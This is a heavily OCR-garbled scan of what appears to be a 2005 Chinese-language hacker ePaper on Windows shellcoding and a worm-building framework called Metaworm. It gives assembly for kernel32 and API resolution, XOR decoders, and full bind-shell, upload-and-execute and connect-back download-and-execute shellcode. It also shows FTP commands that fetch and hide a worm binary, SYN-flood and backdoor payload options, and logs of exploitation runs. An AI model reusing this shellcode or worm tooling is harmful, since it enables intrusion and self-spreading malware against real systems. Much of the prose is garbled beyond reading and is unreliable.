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int a=1,b=2;

function(a,b);
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Shellcoding

iw 3} shellcode

Shellcode £ - #fd 3% 7 (assembly language)dE & = > (5 d ‘2% % (assembler)
F3% = #5482 3% 2 (machine code) » i ¥ kI A UNIX T & 7 - B/bin/sh
shell » 72 3R A K3 > & LA IF exploit » %1 & 3% {7 cheh payload » # i ¥
* machine code 77 ;%33 &3t & 44 buffer overflow, format string % % hexploit
¢ oo v & FH ~ B shell (A UNIX T Z_ /bin/sh > % Windows *® &_ cmd.exe)

RF_f % B 4F e port number ¢ hacker 5iF shellcode #d4 {7 » ¥ ™1 higzh A& 4

- i shell M 4pFlE > PP E - RFL- BTRERANRES - Bad o
P B HTT R REE RDE 0§ R - BTG T

1 o 7 iF A A AT "R T o

Why shellcode?

Shellcode erzz# H_iT ¥ & Lot Fokl:R fx»jﬂ £ R A PR RE(TS kG A
W AHMERY 0 SR Ep L THEARE) AR o3 L
o A &g #712 stack buffer overflow :i‘}ug % % PC (program counter)

#A T 4 e T PR 3T 0 shellcode s Ry efBiv2 » v gRFAPC

puv

EFa B EFE S T4 > #702 shellcode fi}u:é TELERLELE LT R

HfFenp e

23 d 8 X BEA44p2 ePaper(2005 &)



4r i@ 3£ 8 shellcode

shellcode (FdE B > F R 5> - AEE{* 2 EF 7 B - Ad* C
inline 358 H 0 H ARSI GFES AR PHET AT
2 Window NT % 7| T e 5 {F 5 P o ¥ % ¢h shellcode » & Windows ¢ &7
UNIX % F g is 2 % ¢ %7(interrput)2 ¥ system call > i 57 system call 7
PR EERE IROF FE G T SNBSS SRR DR o
sizht 2 F e S F NT ek & » 353 0 Service Pack 7 @ 3 “f2c % >
)4 Microsoft Windows XP SP1 CHT, ¥ Microsoft Windows 2000 SP4 EN - :i‘}u
F 7 - ¥ APL =gk > #5127 & Windows shellcode ¥ % 7 144 3| 11 T $77 %
G EF APl en P Bl B 232 £ 4% PEFF RN engF g 2 35 0 0 rrendi et

H oo

i PE $ 3

1. DOS MZ header

2. DOS stub

3. PE header

4. Section table

5. Section 1

6. Section 2

PE(Portable Executable)tt 3% » v #_ficdic Win32 ¥ S (7R R B8 > H ¢ & 3
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i % B3I 8 35 0 Import Address Table - #5 {6 & Table ® 2 45 3| & #2

API iz ht o 1L 4oz > B remote exploit # ¥ & * I| winsock &3¢ B 0 i § &

i% i #f 11 > LoadLibrary(“ws2_327)ends i » B g i & 5 50 @(DLL)i‘ N

R Y > R EF ws2 32.dll kst R IF R DS ficizak 0 KA o & i

LoadLibraryA &_75 t kernel32.dll ¥ > #12 ,T%Q £ 4rig kernel32.dll # chzkat o

H e 7

H ¥ 18 7] kernel32.d11 £ &t eiF B 72 < #£(02 PEB 07 7)) EiE 4k

i fsdye TEB i

ii.  TEB+0x30 # = 7% PEB %1

iii.  # PEB+0xOc % sidy % PEB_LDR_DATA hif

iv.  PEB LDR DATA+Oxlc # % & - 4 DLL & 5+ % - L

ntdll.dll » % = T &_kernel32.dll #i=xt > » :i‘%‘uz‘i}\ R iy o

find_kernel32:
push esi
mov  eax, [f5:0x30]

mov  eax, [eax + 0x0c]

pointer from the PEB
mov  esi, [eax + 0xIc]
lodsd
mov  eax, [eax + 0x8]
entry
pop  esi

ret

; Save esi
; Extract the PEB

; Extract the PROCESS MODULE INFO

; Get the address of flink in the init module list
; Load the address of blink into eax

; Grab the module base address from the list

; Restore esi

; Return

$5 7] kernel32.dll rkni 5 o Jok B4 £ d Bl B 55 LT st o 1t de

socket ,connect ,bind % system call ,T}u%' LA ws2 324l | IFHEE i
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% %3§ find_fuction shg izt >  EEiEd TP KERAEL LA REE £

O EE ]k o

find_function:

pushad ; Save all registers
mov  ebp, [esp + 0x24] ; Store the base address in eax
mov  eax, [ebp + 0x3c¢] ; PE header VMA

mov  edx, [ebp + eax + 0x78] ; Export table relative offset

add edx, ebp ; Export table VMA

mov  ecx, [edx + 0x18] ; Number of names

mov  ebx, [edx + 0x20] ; Names table relative offset
add ebx, ebp ; Names table VMA

find function loop:

jecxz find_function finished ; Jump to the end if ecx is 0

dec  ecx ; Decrement our names counter
mov  esi, [ebx + ecx * 4] ; Store the relative offset of the name
add  esi, ebp ; Set esi to the VMA of the current name

compute hash:

xor edi, edi ; Zero edi
XOr  eax, eax ; Zero eax
cld ; Clear direction

compute hash again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.

jz compute hash finished ; If'the ZF is set, we've hit the null term.
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ror edi, Oxd

add edi, eax

jmp  compute hash again
compute _hash_finished:
find_function compare:

cmp  edi, [esp + 0x28]
requested hash

jnz  find_function loop

mov  ebx, [edx + 0x24]

add ebx, ebp

mov  cx, [ebx +2 * ecx]

mov  ebx, [edx + Oxl1c]

add ebx, ebp

mov  eax, [ebx +4 * ecx]
ordinal

add eax, ebp

mov  [esp + Oxlc], eax
find_function_finished:

popad

ret

; Rotate edi 13 bits to the right
; Add the new byte to the accumulator

; Next iteration

; Compare the computed hash with the

; No match, try the next one.
; Ordinals table relative offset
; Ordinals table VMA
; Extrapolate the function's ordinal
; Address table relative offset
; Address table VMA

; Extract the relative function offset from its

; Function VMA

; Overwrite stack version of eax from pushad

; Restore all registers

% 7 7 find kernel32 f= find_function - :i‘%‘u’v" MEER P I iE e API iz gkt o

call find kernel32

mov ebx,eax

;save the kernel32 base address
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push dword OxecOe4e8e ;hash value of “LoadLibraryA”
push ebx ;base address of kernel32

call find_function

p

=K

v E T R ENEAR T A B SN a5 % - B OxecOede8e £_LoadLibraryA
& i hash It ket $eniE » % = B A7 E & 5T 4 bt (base address) & €n
ebx :i‘}uz‘i kernel32.dll Axnt » § +¥r' = find_function F¥ > & € #-in 8 & cHk >

s B eax ig- BATEEP o { FwaElP & http:/www.nologin.com/ ek ¢

3 — & “Understanding Windows Shellcode” paper » ¥ 14 % o

4% shellcode 375

#- shellcode % #% £_5 7 % & & hF <de 0x0a(‘\n’), 0x0d(‘\r)) % » AR
exploit PF > A PR L HFrRF 2N 0T G A Y L eh encoding > 3N o
x ¥ # shellcode = & - #-shellcode % > £ FFFEL decode w % o

MTEER-fE2 25 Y jmpandcall 2 H T xor HnkE :

[BITS 32]

global _start

_start:
jmp short getdata ; Get data pointer

begin:
pop ebx ; Pop the data address
XOT €CX,ecX ; Set up loop counter
sub cx, -0x15F ; size of data payload
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xor byte [ebx], 0x99
inc ebx
loop decode
jmp short codestart
getdata:
call begin
jump

codestart:

; XOR
; Increment data address
; Loop back to decode if cx >0

; Jump into decoded code

; Push the address of data in stack and

; shellcode begins

Fo a2 A @ Intel CPU ¥ B3 gh#icid § FNSTENV - & i¥ XOR %

Mo AT R

http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm

[BITS 32]
global _start
_start:

fabs

fnstenv [esp]
pop edx

pop edx

pop edx

pop edx

sub dl, -25

; offset from fabs -> xor buffer

short xor beg:
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e itigh g4 %

XOrI €CX,eCX

sub cx, -0x15F ; size of xor'd payload

short_xor_xor:
xor byte [edx], 0x99 ; the byte to xor with
inc edx
loop short_xor xor

shellcode:
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AR

Metaworm Project # f3% j¥_ Metasploit Proejct 4@ 1} &k &>
Metasploit Project 2- % 3 /1 f2iF > s &~ B et crc 470 2 F 2%

(framework) > # 123& {73 i ® Windows, UNIX T e3-T 5 o

FICEAEF - R BRI PR L F 5L A g v AL B
i » % ] &_ Exploits/Warheads » Propagations > = Payloads = B3R » # ¢ =x 12
SR ﬁvzi‘.}‘m‘?\Propagations iz— BRI ¥ 5 2 38 o Scan Engine v Target
Selection Algorithm # iZ 3 4= ¥ it » R FligI i LfFfh T2 5 (i g it |1
LAe g Spen™ 58 < 0o et V2 U A ARdy o2 o0 et BT
# o AL AT A A Windows THF > £ ¥ 3R AR * opensource 1 % (Glade
GTK+ Development Environment for Windows, cygwin, Dev-C++ (gcc MinGW))2

#H -

A2 E % GTKt ;8 Eqecygwin T B3 4 GUI /g - (F@A; 4 5 e
FRAS QT AR Y F L RPVK LS A 2 Makefile €0 rules > X {5 1345
Makefile & & link 78— & object # T &7"—- £ E & %#c> £ 4 make it e

mingw e7gec ¥ 4 A 4 1 worm.exe # iTHE °

GUI front-end (Glade, cygwin) — Makefile — Dev-C++(gcc.exe,make.exe) — worm.exe
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NTERBFIENE

Cygwin :
Cygwin Z_# Windows ™ ##t 1) Linux chZe 5 > T ¢ 7= B ¢
DLL(cygwinl.dI)# s i@ j& 30 3¢ £ > -7 #75 & Unix ™ &0 Systemcall #75 £ 3%

feLinux ¢h-3adg 4 18 > @ 2 & % o

Glade for Win32 :

Glade ~ % ¥ & X-Window T B % GUI e £ » & ¥ Windows » it i@ * &1
3] ¢)i+q\ﬁﬂ*z,)gzga,m&+ﬁ RS CA: - EVRTE S-Sl (LI I S S
e BRRA 4e gk o ﬁ%)f% BATF R B SR Y AR P

A3 ,E,GUI%W&;Wm**};PQ o

MinGW :

MinGW(Minimalist GNU for Window) » * # MinGW32» #_# GNU B % 1 &

FEIWIn32 L ST gy o & 45- kAR 2o &VE > fod L F e

T

o MinGW %_Cygwin A # + F Em %> 2§ % MinGW B #4282 Z R34 %
= > DLL ;\a‘f,i}u? e F e Windows T3 {7 o F] 5 4% * Cygwin T sigee S
Fermig o AR A R b ek G F oygwin T i dIl BT ARG 4 4 E I A7

& ¢ % MinGW T shgee ST o

AR T

32 d 8 X BEA44p2 ePaper(2005 &)



[

i
W

1= > Registry entry » & B pF{
pddE

N

{7 #7i% 3% o Payloads

Y

A 4 %3 Port Number‘i\?—‘ﬁ A
3T ITE BER A

v

do% B A E cnid iz > N * thread
B fx @ 1% e Port

A

% 3% #_shellcode %#c » Port
Number - IP Address » % % sc # ¢h
Buffer

\

145 RS s “ Ny

BT - B E

B iE s ite

Bl# 0-— Metaworm ¥ & 1 (F7n 48

33 d 8 X BEA44p2 ePaper(2005 &)



e itigh g4 %

Exploits/Warheads -3

Vuln_exploit

Warheads/Exploits | Propagations  Payloads  Other Options
warheads/exploits
Available explots

Exploitz: Iaxpl-:u'rtsh-'uln_exp | b JJ infamation

Parameters-
Padding Size; 52 =
AttackPort 1234 o

Feturn Address; 0x77e28cE2

Bl# 0-= Warheads/Exploits £ 7

vuln_server #_sh— B B8 i i server s A% 13 ¥ stack buffer overflow &k
T 1B 1% 5 3#5% Metaworm project 0T 5 » 28 41 4p ¥t eh exploit/warheads @ 7.3% 78

W7 1) %k %% PADDING th+ | » o scff chsf o o i 4 gt o

Propagations %
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Warheadzs/Explots | Propagstions | Payloads  Other Options
warheads
Availabel Propagation Engine -

Shellcodes with Propagation Ways bindsh_ﬂp -
Parameters dovvnload_exec
* Ral|upload_exec

Binding Portitransfer port):
=zer Define 3421

-

F S
-

ftpd portthindzh_ftp used): 7777

Bl % 0-= Propagations if 7

Bind shell and ftpd

shellcode : Bind Shell on TCP (*#4%)
#:i¥ > ;5 FTPD
e B BERNEIR SR LIt ﬁrSasserworm,i}qj* “rF_ cmd.exe f

X - B port> AL dE BB LR TR BE - B thread 2 R 7 fipd GPRFE 0 (5

7 iE ] fipd @ % e i 0 B dirty hack 1 - T fip bR B f L 3E- ut

o

echo open [host] [ftpd port] >ftp.get
echo worm >>ftp.get

echo null@worm.net >>ftp.get

echo get worm.exe >>fip.get
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W igs g ®

echo quit >>ftp.get

ftp —s:ftp.get

attrib +S +H worm.exe
del ftp.get

worm.exe

dodoehdp 4 ¢ WA F RS fip 4p 4 2 2 £ 5 wormeexe & & i FIAF AL

Upload and Execute

shellcode: Upload and Execute (*i45)

Bi# e 58 1 shellcode s # % X % 1 8 fx port » 2 s et :i‘}u'** socket #2 ;%
A RIE A BEEL o
fmE

iB- BV EE e P http://www.delikon.de/codes/upolad-exec-shellcode.c.txt

® 35 5l i thshellcode 17 eng -8 4 T a0 port £ #-4¥ % 12 i netcat

remote-host port < worm.exe ip 4 @i% > f 34 {7 -

Download and Execute

shellcode: Connect Back Download and Execute(*f}4%)
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B FxT Jﬁiﬁ {7 shellcode 2 t5 » # € — 2 & sz ¥ k=4 ) connect

drfs (v 3P| RA 0 A R ABELH

[EE v 224

BB E A2V E ) o 90 upload and execute 77 3% L ¥ k &0 > upload and execute

\
N
\

shellcode 2 T2 v ¥R % % AL ZF &« A AP VIGIFE > AT ec s ¢

3\
=N

3

BEH - Bhefi - B thread 2 T H % B 40 % 3] exploit * # ¥ { § v k £1F

£ T A I3E o

Payloads -

Wiarheads/Explots  Propagations | Payloads | Cther Options

paylomis
cmd shell
[ Load tiPort: 3338 5
zyn flood DoS
[ Losd it Target: Port 192.168.1.1 &0 =

goto URL
[] Load it URL: | Fitp: Sasaesse milweOrm.com Sleep Minutes 1

RIOp up message hox
[] Load it Message: Hellah wiorm! Sleep Minutes 1

Bl % 0-= Payloads £ 7

Command Shell Backdoor
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s o @& % §j H 0 command shell 2 F #> §IGAR AP HRis > S FXF 2

]

R e A A - L T

SYN Flood DoS Attack

SYN Flood &% % i (7 5 DoS (4B PRi+32# ) #2 DDoS (4 # N4 IR
FRIcH ) e N2 - o B E - B TCPf: 3akln B X £33 TCP @&
Fdo A R WA E S FTREE (CPUR L R et 2 &) ducH =50 o
=% ;DS S 0 T A M- Bp VAT T F A ehier o i ek A
BECORFTHE LT W EIEG N RLEIER  N 2 — iER Ak

A EfhZ 64 DoS H BB A M HEE -

Goto URL

T- B 8iE &k p 3t VBS Worm Genetator » # FF [ 5% & 45 15 » ,T}ug R Fzdp

Clgk A

Pop Up MessageBox

= }ﬁﬁﬁféiﬁg B fe— & 3 Tl AT o o i&iﬁ;{%'l%‘lﬁ?Goto URL -

T L PR Lok o

IMctawora Projectl:. [

! E Hello Yorm!

Bl % 0-I pop up messagebox
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WiarheadsExplotz Propagstions  Payloads | Cther Options |

other options
CFLAGS

[ Shawe all warning messages(-Wal);

] Optimize for Size (-0=)
] Produce Debugging Informstion(-o)
-nake path

make.exe path; o Dev-Cpphinimake exe

B4 0-~ fs iE 7

=

BOELE 0 AR RIS FEY goc Mingw B R 0 fgee SR AR BB
CFLAGS ¥ i * § &8/ > ¢ 35 Bpor o7 BL L (-Wall) > S iz 1 R 4% {
] (-0s) > fr & 2 "f F M AEEIE(-g) 0 ¥ - B ESE 4 make.exe (BT 0 Fl G F

- BRETT G A

:\?ﬁ

iy 0 i BFIET —aui,w P Hp RS o

Demo

BA B - B 5 buffer overflow i PR % (vuln_server) o 3% % 3% 5
Mz LRAHED kNt Bt REAT RRFE- A ok

oo vITEp e hd R T BT FRAE A Scf Payload T RIGESNE S e

(1) Bind shell and FTPD transfer
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D:\code\metaworm>worm localhost

using bindsh(402) shellcode!

ftpd bind port: 7777

host localhost: 1234 active!

sending exploit!

ret: 77€28c62

shellcode size: 402

connect to host: localhost:3421

connected!

Microsoft Windows XP [5< & 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
D:\code\metaworm\demo_serv>echo open 210.64.201.11 7777>ftp.get
D:\code\metaworm\demo_serv>echo worm>>fip.get
D:\code\metaworm\demo_serv>echo null@worm>>ftp.get
D:\code\metaworm\demo_serv>echo get worm.exe>>ftp.get
D:\code\metaworm\demo_serv>echo quit>>fip.get
D:\code\metaworm\demo_serv>connection from: 210.64.201.11:44301
connected!

filename: worm.exe

39538 bytes transfer complete!

ftp -s:ftp.get

User (210.64.201.11:(none)): open 210.64.201.11 7777

get worm.exe

quit
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D:\code\metaworm\demo_serv>attrib +H +S worm.exe

D:\code\metaworm\demo_serv>del ftp.get

D:\code\metaworm\demo_serv>worm.exe

(2) Connect Back Download and Execute

D:\code\metaworm>worm localhost
listen port 3421 for transfer worm
using shellcode: dlex(411)

host localhost:1234 active!

sending exploit!

ret: 77e28c62

shellcode size: 411

connect from: 210.64.201.11:3557
................. 467 bytes sent!

transfer worm.exe(32952 bytes) done!

(1) Upload and Execute

D:\code\metaworm>worm localhost
using shellcode: ulex(445)
host localhost: 1234 active!

sending exploit!
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ret: 77e28c62
shellcode size: 445
connected!

transfer worm done!

501 bytes sent!
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o\.ﬁ@&‘ig

APBALD A Y - 5 RS JUR R p L UNIX BB 4 E7

NOGUIE a1 B A6 @Y F7 04 @ A SRR L B 0t o ping,

traceroute, dig iﬁim&ﬁ{na‘ﬂ Lo AR E- Bwaie o P TR

- B34 % » ¥ rga ping, traceroute p 4 0 F A dg TE LG T U PR L B

s T 7 A4 4 TF “worm” R P it 0 T E MEKF o

|3\
P
T
=
i
=
4%
bl
=

F] 4 A o wh ;iﬁag BBk 2end @ o F F 51— & 5 hacker Bt

FREERBEA2 S FIF LAY BEF B ARG - BEY S - BT
GOETE A B b B ARSI 2T
Fia- BRi AR RpgredE. » (3 ALALER TS PALT L
RGN EEF AR oY R ALRHE R FlRE
GbEfedg o F AP FLBAPF B ERALP DS v ENY

P o

IR
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=
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AN LS R A
parse K EApR L1 > AL ARBEIK LA > F]5 A BRI L4 O
ArcBARNENGA B EF 2 G o GUI .58 kA fBentiseied cho oruss g b

T OBEAR i

DENEE BCER R S S o R pE Y U AL R S S R
AFH P A RFE " Google 4% 31 &4 search 7 SQL injection i
Hoeniseript LA ARiS 2 s httpd b AR R AN blde o AR IEF i F

FiE iR CES SR A R 0 4 Ay - f& 0 4o Blaster, Sasser 3%

—\\

B TSR N e RN A A E -

#¢ > 4 B universe exploit ¥ % EFRAK 5 0 AE F L & T A
Microsoft Windows XP Service Pack 1 & F &> &% B RBE DT > €3 F — D
return address » (4% 7 # 7 — % ¢hreturn address B 2 F 11T 2 # )4 b
Windows Service Pack 2 #1313 » T e g (% 5 & 253 RLeIRE 0 A B D

Z

hacker %% » # i+ 2 B ¥ 2 Y 548 (%3 heap e+ - l'[—__—‘Frgg\f-E,,_ ENE?
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o

Bind Shell on TCP

[BITS32]

jmp data
%include "gen.asm" ;generic win32 shellcode routines
start:

pop edi ;data address

sub sp,128 ;save for the stack

mov esi,esp ;

call find kernel32 ;find kernel32.dll base

mov ebx,eax ;move kernel32.dl1l base address the ebx
load_lib:

push dword OxecOe4e8e ;hash of ‘LoadLibraryA’

push ebx ;kernel32.dll base address

call find_function

mov [esit0x04],eax
load ws2 32:

XOr ecX,ecx

mov ¢x,0x3233 ;ascii 237

push ecx

push dword 0x5f327377 ;push © 2sw’
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push esp ;push address of ‘ws2 32’
call [esi+0x04] ;call LoadLibrary(“ws2_32”)

mov [esit0x08],eax  ;save the ws2 32.dll base address o

XOT €CX,ecX ;clean ecx

mov cl,0x0a ;there are 10 functions we needed
get addr:

cmp ecx,0x07 ;7 ws2 32.d11 APIs

jne reslove_vmas
mov ebx,[esi+0x08] ; ws_32
reslove _vmas: ;the function is to resolve function hash values to the addr
push dword [editecx*4-4]
push ebx ;push the base address
call find_function
mov [esitecx*4-4],eax ;save the function’s address
loop get addr ;get the next one
init_net:
; WS AStartup(0x101,DATA)
sub esp,400
push esp
push 0x0101
call [esi]
;WSASocketA(2,1,0,0,0,0);
XOT eax,eax
push eax

push eax
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push eax ;

push eax ;

inc eax ;

push eax ;SOCK_STREAM

inc eax

push eax ;PF_INET

call [esi+0x04] ;WS ASocketA

mov ebx,eax ;save the socket handle

bind:
;bind(socket,struct sockaddr *,int,flags);
xor edi,edi
push edi ;
push edi ;
push dword 0x11220002 ; port = 8721
mov ecx,esp ;save ecx :the struct sockaddr in sin addr
push byte 0x16 ; size of struct sockaddr
push ecx ;struct sockaddr in sin address
push ebx ;socket
call [esit0x08]
listen:
push edi
push ebx
call [esi + 0x0c]
accept: ;acepet(SOCKET,struct sockaddr *,int *)

push edi
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push ecx

push ebx

call [esit0x10]

mov edx,eax

push dword 0x00646d63

mov [esi+0x28], esp

CreateProcessStructs:

add esp,-0x54
lea edi,[esp]
XOT eax,eax

XOrI €CX,eCX

add cl,21

LBZero:

stosd

loop LBZero

mov byte [esp+0x10],68
inc byte [esp+61]

mov [esp+0x10+56],edx
mov [esp+0x10+60],edx
mov [esp+0x10+64],edx
lea eax,[esp+16]

push esp

push eax

push ecx

push ecx

; struct sockaddr *
;socket handle
;waiting for connection
;save the new connection handle
;ascil ‘cmd\0’

; save the ‘cmd\0’ string addr

;save space= sub esp ,0x54

;clean memory

;store string

; si.cb = sizeof{si)
; si.dwFlags = 0x100

;socket handles

; si

;pi process info
;startupinfo

;currentdir

;environment
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push ecx
inc ecx
push ecx
dec ecx
push ecx

push ecx

push dword [esi+0x28]

push ecx

call [esit0x24]

MoV ecx,esp ; save
WaitforSingleObject:

push dword Oxftftftft

push dword [ecx]
; call [esit0x20];

mov ecx,eax
closesocket:

push edi ;

call [esit0x18]
exitprocess:

;XOr €CX,ecx

;mov cl,0x01

;push ecx

call [esitOx1c]
data:

call start ;trick

;flags

;inherit TRUE

; ThreadSecurityAttribute

; Processs SecurityAttribute

;AppName

; CommandLine

;CreateProcessA

;push -1

;(unsigned char *)0 = void

;ExitProcess
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dd Ox3bfcedcb ;WS AStartup 00
dd 0xadf509d9 ;WSASocketA 04
dd 0xc7701aa4 ;bind 08
dd 0xe92eada4 ;listen Oc
dd 0x498649e5 ;accept 10
dd 0xe71819b6 ;recv 14
dd 0x79¢679¢7 ;closesocket 18
:dd 0x60e0ceef ;ExitThread lc
dd 0x73e2d87e ;ExitProcess lc

dd Oxce05d9ad ;WaitForSingleObject 20

dd 0x16b3fe72 ;CreateProcessA 24
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Upload and Execute
[BITS 32]
%define BLOCKSZ 100

jmp data

%include "gen.asm" ; for generic fuctions of shellcode

start:
pop edi ;data addr
push ebp;
mov ebp,esp ; clean stack

sub sp,0x4*0xd

mov esi,esp ; save it

sub sp,0x0c

call find kernel32

mov ebx,eax ;

load_lib:
push OxecOe4e8e ;hash of “LoadLibraryA”
push dword ebx ;

call find_function

mov [ebp+0x08],eax ;save the LoadLibraryA Addr
load ws2 32:
;lea edx, [edi+0x30] ;WS2 32.dll
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;push edx

XOT €CX,ecX

mov ¢x,0x3233 ;ascii ‘23 little edian
push ecx

push dword 0x5f327377 ascii © 2sw’

push esp

call [ebp+0x08] ; execute LoadLibrary("WS2 32");
mov [ebp+0x08],eax ; replace the base addr of WS2 32
lea edx,[edit0x30] ;'WORM.exe'

mov [esit0x34],edx ; save the filename addr

XOr ecX,ecX

mov cl,0x0d ;tatol 13 APIs needed to be get addr

;reslove all kernel32.d1l and ws2 32.d11 API addresses
find_addr:
cmp cx,0x07 ; 7ws2 32 APIs

jne get addr ;

mov ebx,[ebp+8] ; the next will be ws2_ 32 base addr
get addr:

mov [esi],ecx ;save the counter

push dword [ecx*4+edi-4] ;the hash

push dword ebx ;base address

call find_ function
mov ecx,[esi]

mov [esitecx*4-4],eax ;save return value

loop find_addr
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WS AStartup:

;WS AStartup(0x101,DATA);

sub sp,400

push esp

push 0x101

call [esi + 0x04] ; WS AStartup
WSASocketA:

;WSASocketA(2,1,0,0,0,0);

xor edi,edi

push edi

push edi

push edi

push edi

inc edi

push edi

inc edi

push edi

call [esi] ; WSASocketA

mov ebx,eax ; save the socket
bind:

xor edi,edi

push edi

push edi

push dword 0x611e0002 ; port 7777, AF_INET = 0x0002

mov edx,esp
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push byte 0x10

push edx

push ebx

call [esi+0x08] ; bind
listen:

xor edi, edi

push edi

push ebx

call [esi+0x0c];12
accept:

xor edi,edi

push edi

push esi

push ebx

call [esi+ 0x10]; accept; hold, and waiting

mov ebx,eax ;save the new socket

createfile:
push byte 0x00
;#define FILE ATTRIBUTE SYSTEM 0x00000004
;#define FILE ATTRIBUTE HIDDEN 0x00000002

; FILE ATTRIBUTE SYSTEM|FILE ATTRIBUTE HIDDEN
push byte 0x06
:#define OPEN_ALWAYS 4

push byte 0x04
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push byte 0x00 ;NULL

;#define FILE_ SHARE DELETE 0x00000004

;#define FILE SHARE WRITE 0x00000002

;#define FILE SHARE READ 0x00000001

push byte 0x07 ;

push dword 0xe0000000

push dword [esi+0x34] ; filename

call [esi+0x24] ;CreateFileA

mov edi,eax ;save the File Handle
get_file:

sub esp,BLOCKSZ - 200
mov ebp,esp;

recv_file: ;recv(socket,buffer,len,0)

lea edx,[ebp+100]

push byte 0x00 ;flags

push BLOCKSZ ;length

push edx ;buffer

push dword ebx ;socket handle

call [esit0x14] ;recv
cmp eax, Ox fifftftf ;if return eax is -1 then error, jump to end label
je end
cmp eax,0x00 ;return recv is 0 then transfer completet
je end
write_file:

lea edx,[ebp+100]
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push byte 0

push ecx ;

push eax ;recv() return
push edx ;buffer

push edi ;file handle
call [esi+0x28] ;WriteFile

jmp recv_file
end:
push edi ;file handle
call [esi+0x2c] ;CloseHandle
closesocket:
push ebx
call [esit0x18]
winexec:
push 5
push dword [esi+0x34] ;”WORM.exe’
call [esi+0x20] ;WinExec
exitproxess:
xor edi,edi
push edi
call [esitOx1c]
data:
call start
dd 0xadf509d9 :WSASocketA  0x00

dd 0x3bfcedcb;WSAStartup 0x04
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dd 0xc7701aa4 ;bind 0x08
dd 0xe92eada4d ;listen 0x0c
dd 0x498649¢5 ;accept 0x10
dd 0xe71819b6 ;recv 0x14

dd 0x79¢679¢7 .closesocket  0x18
dd 0x73e2d87e ;ExitProcess  Oxlc
dd 0x0e8afe98 ;WinExec 0x20

dd 0x7c0017a5 ;CreateFileA  0x24
dd 0xe80a791f ;WriteFile 0x28

dd 0x0{fd97{b :CloseHandle  0x2c

db "WORM.exe",0x00
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Connect Back Download and Execute

; Win32 connect back shellcode
[BITS 32]
%define BLOCKSZ 100

jmp data

%include "gen.asm"

start:
pop edi
sub sp,0x20 :save the for store address of functions
mov esi,esp ;
call find kernel32 ;get kernel32.dll base address
mov ebx,eax
load_lib:
push dword OxecOe4e8e ;hash value of ‘LoadLibraryA’
push ebx ;kernel32.dll base address
call find_function
mov [esi],eax ;get the addr of ‘LoadLibraryA’
load ws2 32:

;XOr €CX,ecx

push 0x3233 ; ascil 23’

push dword 0x5f327377;ascii © 2sw’

push esp

call [esi] ;LoadLibrary(“ws2 32”)

mov [esi+0x04],eax ;WS2 32 base addrress
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XOT €CX,ecX
mov cl,0x0a ;numbers of APIs
get addr:
cmp ecx,0x05 ; 5 ws2 32.dIl APIs
jne reslove_vmas
mov ebx,[esi+0x4] ;restore the ws2 32 base address
reslove vmas:
push dword [edit+ecx*4-4];
push ebx
call find_function
mov [esitecx*4-4],cax
loop get addr
file_name:
lea edx,[edi+0x28] ; 'WORM.exe'
mov [esit0x2c],edx ; save in [esi+0x28]
init_net:
sub esp,400
push esp
push 0x101
call [esi] ; WS AStartup(0x01,&wsa)
socket: ;WSASocketA(2,1,0,0,0,0)
XOT eax,eax
push eax
push eax

push eax
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push eax

inc eax

push eax ;SOCK_STREAM
inc eax

push eax ;PF_INET

call [esi+0x04] ;WS ASocketA
mov ebx,eax
connect:
;connect(socket,struct sockaddr *,sizeof{(struct sockaddr))
push dword 0x0100007F ; 127.0.0.1
push dword 0x5¢110002 ; port 4444

mov €CX,CSp

push 0x10 ;sizeof{struct sockaddr)
push ecx ;struct sockaddr *
push ebx ;socket handle
call [esi+0x08] ;connect(socket,struct sockaddr *,int);
test eax,eax ;if eax != zero then goto connect
jne connect ;keep connect loop
CreateFile:
push byte 0x00
push byte 0x06 ; 0x02|0x04 hidden and system attribute

: OPEN_ALWAYS
push byte 0x04
push byte 0x00 ;IpSecurityAttributes

push byte 0x07
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push dword 0xe0000000
push dword [esi+0x2c]
call [esit0x14]
mov edi,eax
get_file:
sub esp, BLOCKSZ - 200
mov ebp,esp
recv:
lea edx,[ebp+100]
push byte 0x00
push BLOCKSZ
push edx ;buffer
push ebx
call [esit0x0c]
cmp eax,Ox it
je end
cmp eax,0x00
je end
write_file:
lea edx,[ebp+100]
push byte 0x00
push ecx
push eax
push edx

push edi

; CreateFile A

;save the file handle

;flags

;length

;buffer
;:socket handle

;recv

;if -1

;jump if done

;recieve bytes
;buffer

;file
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call [esi+0x18] ;WriteFile

jmp recv ;keep retrive
end:

;:CloseHandle

push edi;

call [esi+Ox1c] ;CloseHandle
closesocket:

push ebx

call [esi+0x10] ;closesocket
winexec:

push byte 0x05

push dword [esi+0x2c]

call [esi+0x20] ;WinExec
exit:

xor edi,edi

push edi

call [esi+0x24] ;Exit Process
data:

call start

dd Ox3bfcedcb ;WS AStartup 0x00
dd 0xadf509d9 ;WSASocketA  0x04
dd 0x60aaf9ec ;connect 0x08
dd 0xe71819b6 ;recv 0x0c
dd 0x79¢679¢7 ;closesocket 0x10

dd 0x7c¢0017a5  ;CreateFileA 0x14
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dd 0xe80a791f  ;WriteFile 0x18
dd 0x0{fd97{b :CloseHandle Oxlc
dd 0x0e8afe98  ;WinExec0x20
dd 0x73e2d87¢ ;ExitProcess 0x24

db "WORM.exe',0x00; 0x28
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